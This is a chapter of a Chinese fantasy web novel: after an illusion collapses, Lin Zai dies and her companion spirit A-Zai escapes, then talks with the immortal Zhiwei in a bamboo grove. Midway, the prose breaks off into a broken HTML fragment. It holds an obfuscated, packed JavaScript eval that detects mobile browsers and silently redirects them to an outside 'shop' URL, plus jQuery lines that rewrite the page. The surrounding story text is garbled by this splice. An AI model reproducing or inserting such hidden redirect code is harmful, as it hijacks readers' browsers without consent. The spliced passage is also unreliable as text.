混沌鉴的白光尚未完全消散,空荡荡的太守府突然开始剧烈震颤。脚下的青砖应声开裂,蛛网般的纹路迅速蔓延,那些堆积的尸体、凝固的鲜血竟如潮水般退去,化作缕缕黑烟融入空气。
“轰隆——!”
头顶的屋檐轰然坍塌,碎瓦砖石在坠落的瞬间却化作虚无。
原本明媚的阳光扭曲成诡异的光斑,整个府邸如同被一只无形的手揉碎的画卷,边缘开始卷曲、褪色,露出背后一片混沌的黑暗。
知微死死抱着怀中渐渐冰冷的林洅,任凭碎石粉尘落在肩头,目光却从未离开她的脸庞。
“不……不可能!”林太守踉跄着扶住摇晃的廊柱,看着身边熟悉的景致一点点消失,眼中满是惊骇,“这不是真的?洅洅……”
“洅洅……我的妹妹。”林太守的声音在震颤中破碎,看着廊柱化作青烟消散,整个人瘫坐在虚空中。
而识海深处,原本黯淡的莹色光丝突然剧烈波动起来。阿洅看着林洅彻底沉寂的意识核心,感受着幻境崩塌带来的空间撕裂感,莹光中竟透出一丝从未有过的决绝。
“蠢货,算你有种……”她低声咒骂着,声音却带着难以察觉的哽咽,“可惜啊,没能亲眼看到你真正变强的样子……”
幻境的破碎之力顺着意识裂缝涌入,识海空间开始扭曲、崩塌。阿洅知道,林洅已死,这具身体即将随着幻境一同湮灭,她若不离开,终将一同消散。
她最后看了一眼那片沉寂的意识角落,那里曾回荡着林洅的欢笑、呐喊与泪水,曾见证过她们无数次的拌嘴与并肩。
莹色光丝缓缓收缩,凝聚成一道小小的、带着微光的身影,正是阿洅的模样,眉眼间带着几分纨绔,却此刻满是沉重。
“走了。”她轻声说,像是告别,又像是自语。
下一秒,莹色身影化作一道流光,冲破林洅的识海屏障,从她的眉心窜出。
莹色流光冲破眉心的瞬间,林洅那具逐渐透明的身体突然剧烈震颤,仿佛被抽走了最后一丝维系的力量,化作漫天细碎的光点,随着幻境的崩塌一同飘散。
知微怀中一空,指尖只余下冰凉的虚无。他猛地伸手去抓,却只捞到几片转瞬即逝的光屑,那熟悉的粉色襦裙、带着怯意的笑容,终究彻底消散在混沌之中。
“林小姐——!”
撕心裂肺的呼喊被幻境崩塌的轰鸣吞噬,知微踉跄着后退半步,白衣上的血迹与尘埃在扭曲的空间中晕染开来。他死死盯着光点消散的方向,眼底的悲痛几乎要将他自身也焚烧殆尽,玉剑在掌心攥得发白,指节因用力而颤抖。
林太守瘫坐在虚空中,看着妹妹化作光点消失,整个人如同被抽去了所有魂魄,喃喃自语:“没了……都没了……”他伸出手,像是想抓住什么,却只穿过一片虚无,老泪纵横的脸庞上,满是绝望与悔恨。
阿洅化作的莹色流光在混沌中疾驰,身后是不断崩塌的幻境碎片,那些桃花城的祥和景致、城主府的回廊灯笼、甚至林洅的笑容,都在黑暗中扭曲、碎裂。
“蠢货,下辈子别再这么傻了……”阿洅的声音在混沌中消散,不带一丝哽咽,也不带一丝停留。
幻境崩塌的速度越来越快,混沌的黑暗如同潮水般涌来,吞噬着最后一丝光亮。知微站在原地,周身萦绕的金气渐渐黯淡,被紫气所代替。
不知过了多久,崩塌的轰鸣渐渐平息,黑暗中只剩下知微孤单的身影。
阿洅缓缓抬手,掌心躺着一枚泛着微弱白光的碎片,那是月华玉消散前留下的最后一块,带着一丝若有似无的、属于林洅的温热。
阿洅记得,这是张老拴送给她的魂玉,没想到竟有这般来头。
莹色流光在混沌中疾驰,身后的幻境碎片如同潮水般退去,黑暗渐渐被一缕微光刺破。阿洅只觉得眼前骤然一亮,周身的压迫感瞬间消散,耳畔不再是崩塌的轰鸣,而是清脆的鸟鸣与风吹竹叶的沙沙声。
她踉跄着落地,双脚踩在柔软的草地上,低头一看,自己已恢复了原本的模样,一身玄色劲装,腰间别着半截银刃,只是脸色苍白,气息紊乱。
胸前那枚月华玉碎片依旧温热,像是林洅留下的最后一点余温,灼烧着她的胸膛。
“谁在那里?”
一道清冷而熟悉的声音自身后响起,带着淡淡的紫气波动。阿洅猛地回头,只见不远处的竹林边,一道紫色身影负手而立,玉剑斜挎腰间,正是知微仙尊。
他显然也刚从幻境中脱出,紫衣上沾着少许尘土,脸色比平日更为苍白,却依旧身姿挺拔,眸光锐利如剑,正牢牢锁定着她。
四目相对的瞬间,阿洅心头猛地一震。她下意识地攥紧掌心的月华玉碎片,指尖泛白,喉结滚动了几下,竟一时语塞。往日里的毒舌吐槽尽数卡在喉咙,只剩下胸腔里翻涌的复杂情绪,面对这位仙尊时的莫名局促。
怎么回事,她又不是林洅那个蠢货,眼前的仙尊也不是幻境中温柔的仙师。
知微仙尊缓步走来,目光在她身上扫过,最终落在她紧握的掌心,眉头微蹙:“你掌心之物,是月华玉碎片。”
他的声音平静,却带着不容置疑的穿透力。阿洅抬起手,掌心那枚白光碎片在阳光下微微闪烁,像是在回应他的问话。她深吸一口气,压下心头的翻涌,扯了扯嘴角,试图恢复往日的模样,声音却带着一丝不易察觉的沙哑:“仙尊倒是眼尖,这是月华玉的碎片,那蠢货……林洅留下的。”
“林洅……”知微仙尊的声音顿了顿,眸光黯淡了几分,周身的紫气也随之波动了一下。
阿洅别过脸,避开他的目光,语气生硬:“还能怎样?幻境崩塌时,她为了彻底除掉残魂,自爆了,连带着身体一起散成光点了。”说到最后几个字,她的声音不自觉地放低,掌心的碎片仿佛也变得滚烫起来。
竹林间的风轻轻吹过,卷起地上的落叶,带着几分萧瑟。知微仙尊沉默了片刻,眼底的悲痛如同深潭,不易察觉,却足以淹没一切。他看向阿洅,语气缓和了些许:“幻境中,你既是与她共生的意识体,为何能全身而退?”
“我?”阿洅嗤笑一声,指尖摩挲着月华玉碎片,“那仙尊不也是,不也活着。”
别以为她不知道,林洅是她,仙师是他,林太守是幽泉老怪,那为什么他能活着,她就得死?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192273|190894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
知微仙尊闻言,眸光微动,紫衣在风中微微拂动,周身紫气收敛了几分锐利,多了丝不易察觉的沉郁:“我以本命仙元护住心脉,方能在幻境崩塌时脱身。而你……”他目光落在阿洅胸口,那里月华玉碎片的微光正与她的气息交织,“是她用最后一丝意识力量,强行将你剥离躯体,以月华玉碎片护住你的魂核,才让你得以保全。”
这话如同一记重锤,狠狠砸在阿洅心头。
她猛地抬头,眼底闪过一丝慌乱,随即强装镇定地嗤笑:“她本来就是个蠢货,做什么都拎不清。要不是她自不量力,也不会落得这般下场。”嘴上说得刻薄,指尖却不自觉地收紧,将月华玉碎片攥得更紧,仿佛要将那点温热融进骨血里。
知微仙尊看着她嘴硬的模样,眼底的悲痛又深了几分。他想起幻境中那个怯生生跟在身后、总爱偷偷递上桂花糕的少女,想起她最后那句“仙师别难过”,心脏像是被细密的针扎着,密密麻麻地疼。
“她不是自不量力。”知微的声音低沉而坚定,“她是为了护着所有人,护着你,也护着我。”
“护我?”阿洅像是被刺痛了一般,猛地提高了音量,玄色劲装下的肩膀微微颤抖,“我用得着她护?当初要不是她非要凑到你身边,非要管那些破事,能被残魂钻了空子?说到底,都是她自己蠢!”
知微纠正道:“不是我。”
“对对对,不是你,是那位仙师。”阿洅撇撇嘴,是不是不还都一样。
“对了,这是哪儿,之前不是在幽冥鬼母的祭台?”
知微仙尊目光扫过周围的竹林,紫衣在风中轻轻拂动,周身紫气悄然散开,探查着周遭的气息,沉声道:“此处是忘川边缘的青竹坞,离鬼母的祭坛不过百里。”
他收回目光,落在阿洅身上,语气带着几分凝重:“我们跳阴沟时,丧魂钟的波纹已震乱了空间,银翼护着我们突围时,又被幻境牵引,最终落在了这里。”
阿洅挑眉,摸了摸腰间的半截银刃,又攥紧了掌心的月华玉碎片:“那幽泉老怪呢?他先跳下去的,没跟我们一起出来?”
“阴沟下是鬼母布下的迷阵,空间紊乱,我们大概率是被冲散了。”知微仙尊指尖轻点,一缕紫气飘向竹林深处,“不过他修为不弱,又有黑珠护身,未必会出事。当务之急,是先离开这里,鬼母若发现我们逃脱,定会派人追查。”
阿洅正低头踢着石子,忽然觉得后颈一阵灼烧般的刺痛,像是有无数细小的虫子在皮肉下钻动。她猛地抬手去按,指尖触到一片冰凉,那痛感却愈发强烈,甚至顺着脊椎蔓延开来,让她忍不住打了个寒颤。
“怎么了?”知微仙尊察觉到她的异样,目光落在她微微抽搐的肩头,语气多了几分凝重。
“不知道,后颈突然疼得厉害。”阿洅咬牙忍着,额角渗出细密的冷汗,玄色劲装的领口被她攥得发皱,“像是……有东西在里面烧,可能是那枚印记在捣鬼。”
阿洅指尖死死抠着地面的青草,声音带着咬牙切齿的闷哼:“这老虔婆……倒是阴魂不散!”
不过,月华玉不是可以净化邪祟之物吗,她或许可以试试。